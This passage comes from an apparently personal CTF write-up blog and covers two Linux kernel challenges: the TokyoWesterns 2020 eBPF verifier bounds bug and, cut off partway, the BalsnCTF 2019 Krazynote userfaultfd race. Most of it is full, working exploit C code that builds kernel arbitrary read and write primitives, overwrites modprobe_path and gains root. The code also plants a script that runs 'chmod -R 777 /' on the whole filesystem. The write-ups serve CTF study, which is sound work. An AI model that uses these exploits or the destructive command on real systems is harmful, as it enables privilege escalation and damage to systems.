  /* Learn sign from signed bounds.
   * If we cannot cross the sign boundary, then signed and unsigned bounds
   * are the same, so combine.  This works even in the negative case, e.g.
   * -3 s<= x s<= -1 implies 0xf...fd u<= x u<= 0xf...ff.
   */
  if (reg->smin_value >= 0 || reg->smax_value < 0) {
    reg->smin_value = reg->umin_value =
        max_t(u64, reg->smin_value, reg->umin_value);
    reg->smax_value = reg->umax_value =
        min_t(u64, reg->smax_value, reg->umax_value);
    return;
  }

  // ...
}

When add 8 to e, e is (smin=umin=0, smax=umax=0xfffffffffffffff8; .val=0, .mask=0xfffffffffffffff8). So and since signed_add_overflows(dst_reg->smin_value, smin_val) || signed_add_overflows(dst_reg->smax_value, smax_val) is false and dst_reg->umin_value + umin_val < umin_val || dst_reg->umax_value + umax_val < umax_val is true, dst_reg->smin_value += smin_val; dst_reg->smax_value += smax_val; and dst_reg->umin_value = 0; dst_reg->umax_value = U64_MAX; is executed. Then, e is (smin=8, smax=0, umin=0, umax=U64_MAX).

And return value of tnum_add is (.val=0, .mask=0xfffffffffffffff8). So after dst_reg->var_off = tnum_add(dst_reg->var_off, src_reg.var_off);, e is (smin=8, smax=0, umin=0, umax=U64_MAX; .val=0, .mask=0xfffffffffffffff8).

But in __reg_deduce_bounds, reg->smin_value >= 0 || reg->smax_value < 0 is true, reg->smin_value = reg->umin_value = max_t(u64, reg->smin_value, reg->umin_value); and reg->smax_value = reg->umax_value = min_t(u64, reg->smax_value, reg->umax_value); is performed. Because reg->smin_value == 8, reg->umin_value == 0, reg->smax_value == 0 and reg->umax_value == U64_MAX, register’s min and max value is set by reg->?min_value = max_t(u64, 8, 0) and reg->?max_value = min_t(u64, 0, U64_MAX).

Because of this reasons, after e+=8, e will be (min=8, max=0).

Leak `struct bpf_map` address

In adjust_ptr_min_max_vals function, if off_reg->smin_value > off_reg->smax_value, the pointer is marked as unknown. And the type of unknown register is scalar, we can leak its value.

See followings:

AAR/AAW primitives

We can use the technique using bpf_skb_load_bytes because of scalar which has invalid range. Using this techinuqe, we can set the value on stack without verification by using invalid len argument. Originally bpf_skb_load_bytes changes values from to to to+len. So, the values are marked as unknown. But with invalid len, we can set values with marked as known (invalid verification).

So, we can use this.

Exploit code

c TokyoWesternsCTF2020-eebpf-exploit.c

      #include <asm-generic/socket.h>
#include <fcntl.h>
#include <linux/bpf.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#include "bpf_insn.h"

#define BPF_ALSH 0xe0

#define KERNEL_BASE 0xffffffff81000000
#define BPF_MAP_OPS_OFFSET (0xffffffff81a0dec0 - KERNEL_BASE)
#define MODPROBE_OFFSET (0xffffffff81c2e800 - KERNEL_BASE)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue("Press enter to exit...");
  exit(-1);
}

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &attr);
  if (map_fd < 0) {
    fatal("bpf(BPF_MAP_CREATE)");
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &attr);
  if (res < 0) {
    fatal("bpf(BPF_MAP_UPDATE_ELEM)");
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

int mapfd;
uint64_t map_addr;
static uint64_t leak_bpf_map_addr(int do_print_verifier_log) {
  char verifier_log[0x10000];

  uint64_t val = 0;
  bpf_map_update(mapfd, 0, &val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x8),
      // map_lookup_elem(mapfd, &key)
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),
      BPF_MOV64_REG(BPF_REG_5, BPF_REG_0),
      BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),

      BPF_MOV64_REG(
          BPF_REG_0,
          BPF_REG_6),  // r0 = r6 == 0 == (.val=0, .mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_0,
                    1),  // r0 = r0 & 1 == 0 == (.val=0, .mask=1)
      BPF_ALU64_IMM(
          BPF_ALSH, BPF_REG_0,
          63),  // r0 = r0 << 63 == 0 == (.val=0, .mask=0x8000000000000000);
      // smin=0, smax=0x8000000000000000

      BPF_MOV64_REG(BPF_REG_1, BPF_REG_5),  // r1 = r5 == map_elem
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_0),  // r1 = r1 + r0; Because r0's smin > s0's smax,
                                 // r1 will be marked as unknown.
      BPF_MOV64_REG(BPF_REG_0, BPF_REG_1),

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x8),
      // arg3(&val)
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x10),
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, BPF_ANY),
      // map_update_elem(mapfd, &key, &val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)"GPL v2",
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
  if (progfd < 0) {
    puts("============[failed reason]============");
    printf("%s", verifier_log);
    puts("============[failed reason]============");
    fatal("bpf(BPF_PROG_LOAD)");
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal("socketpair");
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) {
    fatal("setsockopt");
  }

  // Trigger the BPF program
  write(socks[1], "UNIGURI", 7);

  bpf_map_lookup(mapfd, 0, &val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  if (do_print_verifier_log) {
    puts("============[verifier log]============");
    printf("%s", verifier_log);
    puts("============[verifier log]============");
  }

  return val - 0xd0;
}

static void aaw64(uint64_t addr, uint64_t val) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1, -0x8),

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // map_lookup_elem(mapfd, &key)
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),
      BPF_MOV64_REG(BPF_REG_5, BPF_REG_0),           // r5 = map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),  // r6 = *map_elem == 1

      BPF_MOV64_REG(
          BPF_REG_0,
          BPF_REG_6),  // r0 = r6 == (.val=0, .mask=0xffffffffffffffff)
      BPF_MOV64_IMM(BPF_REG_1, -1),  // r1 = 0xffffffffffffffff
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    3),  // r1 = r1 >> 3 == 0x1fffffffffffffff
      BPF_ALU64_REG(BPF_AND, BPF_REG_0,
                    BPF_REG_1),  // r0 = r0 & r1 == (actual_val=1; .val=0,
                                 // .mask=0x1fffffffffffffff)
      BPF_ALU64_IMM(BPF_ALSH, BPF_REG_0,
                    3),  // r0 = r0 << 3 == (actual_val=8; .val=0,
                         // .mask=0xfffffffffffffff8;
                         // umin=0, umax=0xfffffffffffffff8)
      BPF_ALU64_IMM(
          BPF_REG_0, BPF_ADD,
          8),  // r0 = r0 + 8 == (actual_val=0x10; .val=0, .mask=0x8; umin=0x8,
               // umax=0). Because of integer overflow in umax.
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),  // r1 = r6 == [map_elem]
      BPF_ALU64_IMM(
          BPF_AND, BPF_REG_1,
          0x08),  // r1 = r1 & 0x08 == (.val=0, .mask=0x8; umin=0, umax=0x8)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_0,
                    BPF_REG_1),  // r0 =  r0 + r1 == (umin=0x8, umax=0x8) ==
                                 // constant 8 (but, it's actually 0x10)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_0,
          -0x8),  // r0 = r0 - 0x8 == constant 0 (but, it's actually 0x8)
      BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),  // r7 = r0
      // From now, r7 is marked as constant 0 but it's actually 0x08

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG3,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_7),  // arg4 = r7 == (actual_val=0x8; val=0, mask=0)
      BPF_ALU64_IMM(BPF_MUL, BPF_REG_ARG4,
                    1),  // arg4 = 1 * arg4 == (actual_val=0x8; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          8),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x8, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x8, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0x10),
      // arg3(to) = addr
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP,
                  -0x18),  // arg3 = fp-0x18 == addr
      // arg4(len)
      BPF_MOV64_IMM(BPF_REG_ARG4, 8),
      // skb_load_bytes(skb, 0x10, addr, 8)
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)"GPL v2",
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
  if (progfd < 0) {
    puts("============[failed reason]============");
    printf("%s", verifier_log);
    puts("============[failed reason]============");
    fatal("bpf(BPF_PROG_LOAD)");
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal("socketpair");
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) {
    fatal("setsockopt");
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr, val};
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);
}
static uint64_t aar64(uint64_t addr) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1, -0x8),

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // map_lookup_elem(mapfd, &key)
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),
      BPF_MOV64_REG(BPF_REG_5, BPF_REG_0),           // r5 = map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),  // r6 = *map_elem == 1

      BPF_MOV64_REG(
          BPF_REG_0,
          BPF_REG_6),  // r0 = r6 == (.val=0, .mask=0xffffffffffffffff)
      BPF_MOV64_IMM(BPF_REG_1, -1),  // r1 = 0xffffffffffffffff
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    3),  // r1 = r1 >> 3 == 0x1fffffffffffffff
      BPF_ALU64_REG(BPF_AND, BPF_REG_0,
                    BPF_REG_1),  // r0 = r0 & r1 == (actual_val=1; .val=0,
                                 // .mask=0x1fffffffffffffff)
      BPF_ALU64_IMM(BPF_ALSH, BPF_REG_0,
                    3),  // r0 = r0 << 3 == (actual_val=8; .val=0,
                         // .mask=0xfffffffffffffff8;
                         // umin=0, umax=0xfffffffffffffff8)
      BPF_ALU64_IMM(
          BPF_REG_0, BPF_ADD,
          8),  // r0 = r0 + 8 == (actual_val=0x10; .val=0, .mask=0x8; umin=0x8,
               // umax=0).
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),  // r1 = r6 == [map_elem]
      BPF_ALU64_IMM(
          BPF_AND, BPF_REG_1,
          0x08),  // r1 = r1 & 0x08 == (.val=0, .mask=0x8; umin=0, umax=0x8)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_0,
                    BPF_REG_1),  // r0 =  r0 + r1 == (umin=0x8, umax=0x8) ==
                                 // constant 8 (but, it's actually 0x10)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_0,
          -0x8),  // r0 = r0 - 0x8 == constant 0 (but, it's actually 0x8)
      BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),  // r7 = r0
      // From now, r7 is marked as constant 0 but it's actually 0x08

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG3,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_7),  // arg4 = r7 == (actual_val=0x8; val=0, mask=0)
      BPF_ALU64_IMM(BPF_MUL, BPF_REG_ARG4,
                    1),  // arg4 = 1 * arg4 == (actual_val=0x8; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          8),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x8, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x8, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // arg3(&val)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP, -0x18),
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),
      // map_update_elem(mapfd, &key, &val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)"GPL v2",
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
  if (progfd < 0) {
    puts("============[failed reason]============");
    printf("%s", verifier_log);
    puts("============[failed reason]============");
    fatal("bpf(BPF_PROG_LOAD)");
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal("socketpair");
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) {
    fatal("setsockopt");
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr};
  write(socks[1], buf, sizeof(buf));

  bpf_map_lookup(mapfd, 0, &map_val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return map_val;
}

int main() {
  mapfd = bpf_map_create(sizeof(uint64_t), 1);
  map_addr = leak_bpf_map_addr(0);
  printf("[+] map_addr = 0x%016lx\n", map_addr);

  uint64_t kernel_base = aar64(map_addr) - BPF_MAP_OPS_OFFSET;
  printf("[+] kernel_base: 0x%016lx\n", kernel_base);

  const char* new_modprobe = "/tmp/evil.sh";
  const size_t new_modprobe_len = strlen(new_modprobe);
  printf("[*] Overwrite modprobe to %s\n", new_modprobe);
  for (size_t i = 0; i < new_modprobe_len; i += 8) {
    aaw64(kernel_base + MODPROBE_OFFSET + i, *(uint64_t*)(new_modprobe + i));
  }
  {
    int fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
    if (fd < 0) {
      fatal("open(/proc/sys/kernel/modprobe)");
    }

    char modprobe[0x100];
    read(fd, modprobe, sizeof(modprobe));
    if (strncmp(modprobe, new_modprobe, new_modprobe_len)) {
      printf("[*] new modprobe: %s\n", modprobe);
      puts("[-] Failed to overwrite modprobe");
      return -1;
    }
    puts("[+] Successfully overwritten modprobe");
  }

  puts("[+] Get root");
  system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
  system("chmod +x /tmp/evil.sh");
  system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
  system("chmod +x /tmp/pwn");
  system("/tmp/pwn");

  close(mapfd);
  return 0;
}

Reference

https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/TokyoWesterns/2020/eebpf

BalsnCTF2019 Krazynote

Fri, 24 Jan 2025 06:56:49 +0000

Problem

Environment

kernel version: 5.1.9

Features

This challenge provide note misc device with which we can save(0xffffff00) and get(0xffffff02), update(0xffffff01) data using unlocked_ioctl. When we save and get, update data on it, the xor-encrypted data is stored.

And the struct enc_data (stored data) and struct request_t is following:

typedef struct request_t {
  uint64_t idx;
  uint64_t size;
  uint64_t data;
} request_t;

typedef struct enc_data_t {
  uint64_t xor_key;
  uint64_t size;
  uint64_t data_addr_minus_page_offset_base;
  char enc_data[0]; // Struct Hack; see https://www.geeksforgeeks.org/struct-hack/
} enc_data_t;

Vulnerability

Since unlocked_ioctl does not perform blocked-ioctl and the device does not use mutex, we can do race condition attack easily. Furthermore in given kernel environment, non-privileged userfaultfd is allowed.

Consider following sequence:

    sequenceDiagram
	    participant user
	    participant device
	    participant userfaultfd
	    
	    user->>device: store_data(idx <- 0)
	    note over device: [0x00] enc_data(key=?,len=0x10,data=0x18) @ idx=0
	    device->>userfaultfd: request: copy_from_user
	    userfaultfd->>device: request: reset
	    note over device: [0x00] NULL
	    userfaultfd->>device: request: store_data(idx <- 0)
	    note over device: [0x00] enc_data(key=?,len=0,data=0x18) @ idx=0
	    userfaultfd->>device: request: store_data(idx <- 1)
	    note over device: [0x00] enc_data(key=?,len=0,data=0x18) @ idx=0
	    note over device: [0x18] enc_data(key=?,len=0,data=0x30) @ idx=1
	    userfaultfd->>device: response: data of copy_from_user = {0x11111111, 0x22222222, 0x33333333}
	    note over device: [0x00] enc_data(key=?,len=0,data=0x18) @ idx=0
	    note over device: [0x18] enc_data(key=0x11111111,len=0x22222222,data=0x33333333) @ idx=1
	    user->>device: get_data(idx=1)

As see above, we can control xor_key and size, data_addr_minus_page_offset_base of enc_data_t. Then we can leak xor_key(leak_xor_key) and data_addr_minus_page_offset_base(leak_vuln_dev_minus_page_offset_base), device(module)_base(leak_vuln_dev_base), page_offset_base(vuln_dev_base - vuln_dev_base_minus_page_offset_base), kernel_base(leak_kernel_base) step by step.

As the device provide read and update features, we can make AAR & AAW primitives using these features on modified enc_data.

Exploit

c BalsnCTF2019-Krazynote-exploit.c

      #define _GNU_SOURCE
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>

#define VULN_DEV_NAME "note"
#define VULN_DEV_CMD_ADD 0xffffff00
#define VULN_DEV_CMD_UPDATE 0xffffff01
#define VULN_DEV_CMD_GET 0xffffff02
#define VULN_DEV_CMD_RESET 0xffffff03
#define VULN_DEV_BASE 0xffffffffc0000000
#define VULN_DEV_MISC_FILE_OPS_OFFSET (0xffffffffc0002060 - VULN_DEV_BASE)
#define VULN_DEV_MISC_FILE_OPS_UNLOCKED_IOCTL_IDX 10
#define VULN_DEV_MISC_FILE_OPS_FLUSH_IDX 14
#define VULN_DEV_OFFSET_TO_PTR_TO_KERNEL_BASE \
  (0xffffffffc00021f8 - VULN_DEV_BASE)

#define KERNEL_BASE 0xffffffff81000000
#define OFFSET_OF_KERNEL_ADDR_OBTAINED_BY_VULN_DEV \
  (0xffffffff810a8fa0 - KERNEL_BASE)
#define CORE_PATTERN_OFFSET (0xffffffff8210dbe0 - KERNEL_BASE)

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue("Press enter to exit...");
  exit(-1);
}

static int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);
  if (uffd < 0) {
    fatal("syscall(__NR_userfaultfd)");
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) {
    fatal("ioctl(UFFDIO_API)");
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) {
    fatal("ioctl(UFFDIO_REGISTER)");
  }

  if (pthread_create(&th, NULL, handler, (void*)(uint64_t)uffd) < 0) {
    fatal("pthread_create");
  }

  return uffd;
}

cpu_set_t target_cpu;
static int vuln_dev_fd;
uint64_t vuln_dev_xor_key;
uint64_t vuln_dev_base_minus_page_offset_base;
uint64_t vuln_dev_base;

uint64_t page_offset_base;
uint64_t kernel_base;

typedef struct request_t {
  uint64_t idx;
  uint64_t size;
  uint64_t data;
} request_t;

static int vuln_dev_add(uint8_t size, void* data) {
  request_t req = {
      .idx = 0,
      .size = size,
      .data = (uint64_t)data,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_ADD, &req);
}
static int vuln_dev_update(uint64_t idx, void* buf) {
  request_t req = {
      .idx = idx,
      .size = 0,
      .data = (uint64_t)buf,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_UPDATE, &req);
}
static int vuln_dev_get(uint64_t idx, void* buf) {
  request_t req = {
      .idx = idx,
      .size = 0,
      .data = (uint64_t)buf,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_GET, &req);
}
static int vuln_dev_reset() {
  request_t req = {
      .idx = 0,
      .size = 0,
      .data = 0,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_RESET, &req);
}

// funtions for leaking xor_key

int leaked_xor_key_bytes = 0;
static void* userfault_handler_for_leak_xor_key(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &target_cpu)) {
    fatal("sched_setaffinity");
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal("userfault_handler_for_leak_xor_key: mmap");
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&pollfd, 1, -1) > 0) {
    if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) {
      fatal("userfault_handler_for_leak_xor_key: poll");
    }

    if (read(uffd, &msg, sizeof(msg)) <= 0) {
      fatal("userfault_handler_for_leak_xor_key: read(uffd)");
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          "userfault_handler_for_leak_xor_key: msg.event != "
          "UFFD_EVENT_PAGEFAULT");
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(leaked_xor_key_bytes, page);
    vuln_dev_add(0xff, page);

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &copy) < 0) {
      fatal("userfault_handler: ioctl(UFFDIO_COPY)");
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static uint64_t leak_xor_key() {
  char buf[0x100] = {
      0,
  };
  uint64_t tmp_xor_key = 0;

  for (int i = 0; i < 8; ++i) {
    void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (uffd_page == MAP_FAILED) {
      fatal("mmap");
    }
    register_uffd(uffd_page, 0x1000, userfault_handler_for_leak_xor_key);

    vuln_dev_add(0x10, uffd_page);

    memset(buf, 'a', sizeof(buf));
    vuln_dev_get(1, buf);
    int idx_61 = -1;
    for (int i = 0; i < 0x100; ++i) {
      if (buf[i] == 0x61 && idx_61 == -1) {
        idx_61 = i;
      }
    }
    if (idx_61 == -1) {
      fatal("leak_xor_key: idx_61 == -1");
    }

    tmp_xor_key |= ((uint64_t)idx_61) << (i * 8);

    vuln_dev_reset();
    munmap(uffd_page, 0x1000);
    ++leaked_xor_key_bytes;
  }

  return tmp_xor_key;
}

// funtions for leaking vuln_dev_base - page_offset_base

static void* userfault_handler_for_vuln_dev_base_minus_page_offset_base(
    void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &target_cpu)) {
    fatal("sched_setaffinity");
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal("userfault_handler_for_leak_xor_key: mmap");
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&pollfd, 1, -1) > 0) {
    if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) {
      fatal("userfault_handler_for_leak_xor_key: poll");
    }

    if (read(uffd, &msg, sizeof(msg)) <= 0) {
      fatal("userfault_handler_for_leak_xor_key: read(uffd)");
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
